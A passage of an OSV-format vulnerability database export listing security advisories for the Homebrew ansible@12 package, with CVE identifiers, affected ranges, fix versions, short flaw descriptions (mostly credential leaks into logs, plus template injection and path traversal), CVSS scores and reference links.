:pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Insertion of Sensitive Information into Log File in ansible","details":"A flaw was found in ansible module where credentials are disclosed in the console log by default and not protected by the security feature when using the bitbucket_pipeline_variable module. This flaw allows an attacker to steal bitbucket_pipeline credentials. The highest threat from this vulnerability is to confidentiality.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2021-20180"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/73242"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/73243"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1915808"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/ansible/ansible/blob/v2.8.19/changelogs/CHANGELOG-v2.8.rst"},{"type":"WEB","url":"https://github.com/ansible/ansible/blob/v2.9.18/changelogs/CHANGELOG-v2.9.rst"},{"type":"WEB","url":"https://github.com/ansible/ansible/tree/v2.7.18/lib/ansible/modules/source_control"},{"type":"WEB","url":"https://github.com/ansible/ansible/tree/v2.8.0a1/lib/ansible/modules/source_control"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2021-20191","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-8f4m-hccc-8qph","CVE-2021-20191","PYSEC-2021-124"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.10.7"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"upstream:pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Insertion of Sensitive Information into Log File in ansible","details":"A flaw was found in ansible. Credentials, such as secrets, are being disclosed in console log by default and not protected by no_log feature when using those modules. An attacker can take advantage of this information to steal those credentials. The highest threat from this vulnerability is to data confidentiality.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2021-20191"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/73488"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/73489"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/cc82d986c40328d4ae81298a9d287c95a6326bb0"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/d74a1b1d1325af2a24848044cf2858987f5a3ecc"},{"type":"WEB","url":"https://access.redhat.com/security/cve/cve-2021-20191"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1916813"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-8f4m-hccc-8qph"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2021-124.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2023/12/msg00018.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2021-20228","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-5rrg-rr89-x9mv","CVE-2021-20228","PYSEC-2021-1"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.10.6rc1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"upstream:pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible Exposes Sensitive Information","details":"A flaw was found in the Ansible Engine prior to 2.10.6rc1, 2.9.18rc1, and 2.8.19rc1, where sensitive info is not masked by default and is not protected by the `no_log` feature when using the sub-option feature of the basic.py module. This flaw allows an attacker to obtain sensitive information. The highest threat from this vulnerability is to confidentiality.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2021-20228"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/73487"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/73492"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/73493"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/73494"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/49ebd509df9de1c1fc1bcee00e79a835dd00662c"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/e41d1f0a3fd6c466192e7e24accd3d1c6501111b"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/f8ff395d817c3eddc050f809919c15dfb5796120"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1925002"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-5rrg-rr89-x9mv"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2021-1.yaml"},{"type":"WEB","url":"https://www.debian.org/security/2021/dsa-4950"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2021-3447","published":"2026-08-13T16:35:22Z","modified":"2026-08-13T16:35:22Z","upstream":["PYSEC-2021-107","CVE-2021-3447"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.2.2"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"upstream:pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"details":"A flaw was found in several ansible modules, where parameters containing credentials, such as secrets, were being logged in plain-text on managed nodes, as well as being made visible on the controller node when run in verbose mode. These parameters were not protected by the no_log feature. An attacker can take advantage of this information to steal those credentials, provided when they have access to the log files containing them. The highest threat from this vulnerability is to data confidentiality. This flaw affects Red Hat Ansible Automation Platform in versions before 1.2.2 and Ansible Tower in versions before 3.8.2.","references":[{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1939349"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/RUTGO4RS4ZXZSPBU2CHVPT75IAFVTTL3/"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/2MS4VPUYVLGSAKOX26IT52BSMEZRZ3KS/"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/JBZ75MAMVQVZROPYHMRDQKPPVASP63DG/"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2021-3583","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-2pfh-q76x-gwvm","CVE-2021-3583","PYSEC-2021-358"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.11.2rc1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"upstream:pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Improper Input Validation and Command Injection in Ansible","details":"A flaw was found in Ansible, where a user's controller is vulnerable to template injection. This issue can occur through facts used in the template if the user is trying to put templates in multi-line YAML strings and the facts being handled do not routinely include special template characters. This flaw allows attackers to perform command injection, which discloses sensitive information. The highest threat from this vulnerability is to confidentiality and integrity.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2021-3583"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/74960"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/03aff644cc1c00e1f7551195c68fbd0d13a39e6e"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/8aa850e3573e48c9a2f12aef84e8a3a6f5ba4847"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/8b17e5b9229ffaecfe10a4881bc3f87dd2c184e1"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1968412"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-2pfh-q76x-gwvm"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2021-358.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2023/12/msg00018.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2021-3620","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-4r65-35qq-ch8j","CVE-2021-3620","PYSEC-2022-164"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.27"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"upstream:pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible discloses sensitive information in traceback error message","details":"Ansible is an IT automation system that handles configuration management, application deployment, cloud provisioning, ad-hoc task execution, network automation, and multi-node orchestration. A flaw was found in Ansible Engine's ansible-connection module where sensitive information, such as the Ansible user credentials, is disclosed by default in the traceback error message when Ansible receives an unexpected response from `set_options`. The highest threat from this vulnerability is confidentiality.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2021-3620"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/fe28767970c8ec62aabe493c46b53a5de1e5fac0"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2021:3871"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2021:3872"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2021:3874"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2021:4703"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2021:4750"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2021-3620"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1975767"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-4r65-35qq-ch8j"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/ansible/ansible/blob/stable-2.9/changelogs/CHANGELOG-v2.9.rst#security-fixes"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2022-164.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2023/12/msg00018.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2022-3697","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-cpx3-93w7-457x","CVE-2022-3697","PYSEC-2026-768"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"7.0.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"upstream:pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible leaks password to logs","details":"A flaw was found in Ansible in the amazon.aws collection when using the `tower_callback` parameter from the `amazon.aws.ec2_instance` module. This flaw allows an attacker to take advantage of this issue as the module is handling the parameter insecurely, leading to the password leaking in the logs.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2022-3697"},{"type":"WEB","url":"https://github.com/ansible-collections/amazon.aws/pull/1199"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/35749"},{"type":"WEB","url":"https://github.com/ansible-community/ansible-build-data/blob/main/6/CHANGELOG-v6.rst"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2023/12/msg00018.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2023-4237","published":"2026-08-13T16:35:22Z","modified":"2026-09-30T18:43:25Z","upstream":["GHSA-ww3m-ffrm-qvqv","CVE-2023-4237","PYSEC-2026-1125"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","resource":"ansible-core","resource_purl":"pkg:pypi/ansible-core@2.19.13"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible-core","subject_version":"2.19.13","key":"pkg:pypi/ansible-core@2.19.13","resource":"ansible-core"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"upstream:pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible may expose private key","details":"A flaw was found in the Ansible Automation Platform. When creating a new keypair, the ec2_key module prints out the private key directly to the standard output. This flaw allows an attacker to fetch those keys from the log files, compromising the system's confidentiality, integrity, and availability.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:H"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-4237"},{"type":"WEB","url":"https://access.redhat.com/errata/RHBA-2023:5653"},{"type":"WEB","url":"https://access.redhat.com/errata/RHBA-2023:5666"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2023-4237"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2229979"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2023-5115","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-jpvw-p8pr-9g2x","CVE-2023-5115","PYSEC-2026-1120"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"8.5.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"upstream:pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible symlink attack vulnerability","details":"An absolute path traversal attack exists in the Ansible automation platform. This flaw allows an attacker to craft a malicious Ansible role and make the victim execute the role. A symlink can be used to overwrite a file outside of the extraction path.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:H/A:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-5115"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/1e930684bc0a76ec3d094cd326738ad26416541c"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2023:5701"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2023:5758"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2023-5115"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2233810"},{"type":"WEB","url":"https://github.com/ansible-community/ansible-build-data/blob/16d36538b96c65d9e0e28d89781361b69857ac0e/8/CHANGELOG-v8.rst#L221"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2023/12/msg00018.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2023-5764","published":"2026-08-13T16:35:22Z","modified":"2026-09-30T18:43:25Z","upstream":["GHSA-7j69-qfc3-2fq9","CVE-2023-5764","PYSEC-2026-1122"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.16.1","resource":"ansible-core","resource_purl":"pkg:pypi/ansible-core@2.19.13"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible-core","subject_version":"2.19.13","key":"pkg:pypi/ansible-core@2.19.13","resource":"ansible-core"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"upstream:pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible template injection vulnerability","details":"A template injection flaw was found in Ansible where a user's controller internal templating operations may remove the unsafe designation from template data. This issue could allow an attacker to use a specially crafted file to introduce templating injection when supplying templating data.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-5764"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/270b39f6ff02511a2199505161218cbd1a5ae34f"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/7239d2d371bc6e274cbb7314e01431adce6ae25a"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/fea130480d261ea5bf6fcd5cf19a348f1686ceb1"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2023:7773"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2023-5764"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2247629"},{"type":"WEB","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/X7Q6CHPVCHMZS5M7V22GOKFSXZAQ24EU"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2024-0690","published":"2026-08-13T16:35:22Z","modified":"2026-09-30T18:43:25Z","upstream":["GHSA-h24r-m9qc-pvpg","CVE-2024-0690","PYSEC-2024-36"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.16.3","resource":"ansible-core","resource_purl":"pkg:pypi/ansible-core@2.19.13"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible-core","subject_version":"2.19.13","key":"pkg:pypi/ansible-core@2.19.13","resource":"ansible-core"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"upstream:pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible-core information disclosure flaw","details":"An information disclosure flaw was found in ansible-core due to a failure to respect the `ANSIBLE_NO_LOG` configuration in some scenarios. It was discovered that information is still included in the output in certain tasks, such as loop items. Depending on the task, this issue may include sensitive information, such as decrypted secret values.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-0690"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/82565"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/6935c8e303440addd3871ecf8e04bde61080b032"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/78db3a3de6b40fb52d216685ae7cb903c609c3e1"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/b9a03bbf5a63459468baf8895ff74a62e9be4532"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/beb04bc2642c208447c5a936f94310528a1946b1"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2024:0733"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2024:2246"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2024:3043"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2024-0690"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2259013"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible-core/PYSEC-2024-36.yaml"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/IZQGCRDSZL7ONCULMB6ZUHOE4L44KIBP"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/VDYSWOCPZMNRU5LWKIEBW4WGWLMTU7WQ"},{"type":"WEB","url":"https://security.netapp.com/advisory/ntap-20250117-0001"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2024-11079","published":"2026-08-13T16:35:22Z","modified":"2026-09-30T18:43:25Z","upstream":["GHSA-99w6-3xph-cx78","CVE-2024-11079","PYSEC-2026-1123"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.18.1rc1","resource":"ansible-core","resource_purl":"pkg:pypi/ansible-core@2.19.13"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible-core","subject_version":"2.19.13","key":"pkg:pypi/ansible-core@2.19.13","resource":"ansible-core"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"upstream:pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible-Core vulnerable to content protections bypass","details":"A flaw was found in Ansible-Core. This vulnerability allows attackers to bypass unsafe content protections using the hostvars object to reference and execute templated content. This issue can lead to arbitrary code execution if remote data or module outputs are improperly templated within playbooks.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:P/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L/E:P"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-11079"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/84299"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/84339"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/2936b80dbbc7efb889934aeec80f6142c10266ce"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/70e83e72b43e05e57eb42a6d52d01a4d9768f510"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/98774d15d7748ebaaaf2e83942cc7e8d39f7280e"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2024:10770"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2024:11145"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2024-11079"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2325171"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/ansible/ansible/blob/v2.18.1/changelogs/CHANGELOG-v2.18.rst#security-fixes"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2026/03/msg00006.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2024-8775","published":"2026-08-13T16:35:22Z","modified":"2026-09-30T18:43:25Z","upstream":["GHSA-jpxc-vmjf-9fcj","CVE-2024-8775","PYSEC-2026-1124"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.17.6","resource":"ansible-core","resource_purl":"pkg:pypi/ansible-core@2.19.13"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible-core","subject_version":"2.19.13","key":"pkg:pypi/ansible-core@2.19.13","resource":"ansible-core"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"upstream:pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible vulnerable to Insertion of Sensitive Information into Log File","details":"A flaw was found in Ansible, where sensitive information stored in Ansible Vault files can be exposed in plaintext during the execution of a playbook. This occurs when using tasks such as include_vars to load vaulted variables without setting the no_log: 